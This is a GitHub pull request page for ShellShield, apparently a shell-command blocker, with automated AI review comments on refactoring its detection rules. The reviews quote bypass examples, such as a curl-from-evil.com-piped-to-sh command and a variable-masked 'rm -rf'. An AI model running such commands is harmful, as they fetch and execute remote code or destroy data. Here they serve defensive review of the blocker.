Intelligent Refactor: DRY & Sonar Excellence - #7
Conversation
📝 WalkthroughWalkthroughCLI check flow and shell init were reorganized (blocked-path consolidation and template-driven init). Parser utilities were added and reused across command/pipe checks. Core AST rule was heavily refactored into a token-driven centralized checker; tests added for utilities and substitution normalization. Changes
Estimated code review effort🎯 4 (Complex) | ⏱️ ~45 minutes Possibly related PRs
Poem
🚥 Pre-merge checks | ✅ 2 | ❌ 1❌ Failed checks (1 inconclusive)
✅ Passed checks (2 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing touches
🧪 Generate unit tests (beta)
Comment |
|
Codecov Report❌ Patch coverage is
📢 Thoughts on this report? Let us know! |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Fix all issues with AI agents
In `@src/parser/rules/CoreAstRule.ts`:
- Around line 81-92: The process-substitution detection in handleOperator
currently checks nextEntry strictly for "curl" or "wget" and will miss
path-qualified, escaped, or differently-cased commands; update handleOperator to
normalize the command token (use the existing normalizeCommandName helper) by
stripping path/escaping and lowercasing before comparison, then compare against
"curl" and "wget" so entries like "/usr/bin/curl", "\curl", or "CURL" are caught
and still return the same blocked BlockResult.
![chatgpt-codex-connector[bot]](https://avatars.githubusercontent.com/in/1144995?s=60&v=4){kind=small}
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 2610ac6fcd
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
|
|
||
| const resolvedVar = this.resolveVarToken(basenamePart, vars); | ||
| const name = normalizeCommandName(entry); | ||
| const resolvedVar = resolveVariable(entry, vars); |
There was a problem hiding this comment.
Calling resolveVariable(entry, vars) here misses variable-based command names whenever the token includes a path prefix (for example SAFE=rm /bin/$SAFE -rf tmp), because resolveVariable only resolves tokens that start with $ or ${...}. In that case resolvedCmd falls back to $safe instead of rm, so blocked-command enforcement is bypassed for destructive commands invoked via /path/$VAR.
Useful? React with 👍 / 👎.
|
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Fix all issues with AI agents
In `@src/parser/rules/CoreAstRule.ts`:
- Around line 53-59: The current normalizedEntry is created with
entry.toLowerCase(), which preserves path prefixes and lets path-qualified
binaries (e.g. "/usr/bin/curl") bypass checkCurlWget; change the normalization
at the site where normalizedEntry is computed to use the same
normalizeCommandName helper used by handleOperator/handleCommand so path
prefixes are stripped and case normalized before calling checkCurlWget and
checkBashSubshells (ensure the variable name stays normalizedEntry and that
checkCurlWget expects the normalized form).
🧹 Nitpick comments (2)
src/parser/utils.test.ts (1)
4-29: Test coverage is sparse—consider adding happy-path tests.The current tests focus on edge cases and boundary conditions, which is valuable, but they miss the primary usage paths of each function. Given the PR objective to increase test coverage and the Codecov report showing 4 missing lines in
utils.ts, consider adding tests for:
Function Missing coverage normalizeCommandNameBackslash stripping ( \rm→rm), path extraction (/usr/bin/rm→rm), case normalization (RM→rm)resolveVariableSuccessful variable lookup (e.g., resolveVariable("$FOO", { FOO: "bar" })→"bar"),$VARformat without bracesfilterFlagsEmpty array input, arrays with only flags, arrays with no flags getTrashSuggestionNon-empty file list (e.g., ["a.txt", "b.txt"]→"trash a.txt b.txt")📝 Suggested additional tests
describe("Parser Utils", () => { test("normalizeCommandName handles empty input", () => { expect(normalizeCommandName("")).toBe(""); }); + test("normalizeCommandName strips leading backslash", () => { + expect(normalizeCommandName("\\rm")).toBe("rm"); + }); + + test("normalizeCommandName extracts basename from path", () => { + expect(normalizeCommandName("/usr/bin/rm")).toBe("rm"); + }); + + test("normalizeCommandName lowercases the result", () => { + expect(normalizeCommandName("RM")).toBe("rm"); + }); + test("resolveVariable handles invalid format", () => { expect(resolveVariable("NOT_A_VAR", {})).toBeNull(); expect(resolveVariable("$", {})).toBeNull(); expect(resolveVariable("${}", {})).toBeNull(); }); test("resolveVariable handles empty result", () => { expect(resolveVariable("$EMPTY", { EMPTY: "" })).toBeNull(); }); test("resolveVariable handles fallback with empty value", () => { expect(resolveVariable("${UNDEFINED:-fallback}", {})).toBe("fallback"); }); + test("resolveVariable returns value from vars map", () => { + expect(resolveVariable("$FOO", { FOO: "bar" })).toBe("bar"); + expect(resolveVariable("${FOO}", { FOO: "bar" })).toBe("bar"); + }); + test("filterFlags identifies flags correctly", () => { expect(filterFlags(["-f", "--force", "file.txt"])).toEqual(["file.txt"]); }); + test("filterFlags handles empty array", () => { + expect(filterFlags([])).toEqual([]); + }); + test("getTrashSuggestion handles empty file list", () => { expect(getTrashSuggestion([])).toBe("trash <files>"); }); + + test("getTrashSuggestion formats file list", () => { + expect(getTrashSuggestion(["a.txt", "b.txt"])).toBe("trash a.txt b.txt"); + }); });src/parser/rules/CoreAstRule.ts (1)
97-99: Consider extending command prefix list.The current list omits common transparent wrappers like
nohup,nice,time, andexecthat also pass through to the next command. This could cause false positives if those commands appear in user workflows.♻️ Proposed enhancement
private isCommandPrefix(entry: string): boolean { - return ["sudo", "xargs", "command", "env"].includes(entry); + return ["sudo", "xargs", "command", "env", "nohup", "nice", "time", "exec"].includes(entry); }
| const normalizedEntry = entry.toLowerCase(); | ||
|
|
||
| const curlCheck = this.checkCurlWget(normalizedEntry, tokens, i, config); | ||
| if (curlCheck) return curlCheck; | ||
|
|
||
| const subCheck = this.checkBashSubshells(normalizedEntry, tokens, i); | ||
| if (subCheck) return subCheck; |
There was a problem hiding this comment.
Path-qualified curl/wget bypasses pipe-to-shell detection.
normalizedEntry is computed via entry.toLowerCase(), which doesn't strip path prefixes. A command like /usr/bin/curl http://evil.com | sh would have normalizedEntry = "/usr/bin/curl", failing the equality check in checkCurlWget and bypassing pipe-to-shell detection.
Use normalizeCommandName for consistency with handleOperator and handleCommand:
🛡️ Proposed fix
- const normalizedEntry = entry.toLowerCase();
+ const normalizedEntry = normalizeCommandName(entry);
const curlCheck = this.checkCurlWget(normalizedEntry, tokens, i, config);🤖 Prompt for AI Agents
In `@src/parser/rules/CoreAstRule.ts` around lines 53 - 59, The current
normalizedEntry is created with entry.toLowerCase(), which preserves path
prefixes and lets path-qualified binaries (e.g. "/usr/bin/curl") bypass
checkCurlWget; change the normalization at the site where normalizedEntry is
computed to use the same normalizeCommandName helper used by
handleOperator/handleCommand so path prefixes are stripped and case normalized
before calling checkCurlWget and checkBashSubshells (ensure the variable name
stays normalizedEntry and that checkCurlWget expects the normalized form).
|
Superseded by PR #8 which includes all improvements from this PR plus additional security hardening. |
2 participants
Summary
Successfully refactored ShellShield to address duplication and SonarCloud issues.
Key Changes
src/parser/utils.ts.CoreAstRule.checkinto specialized private handlers.String.rawin regex patterns.Verification
Summary by CodeRabbit
Refactor
Bug Fixes
Tests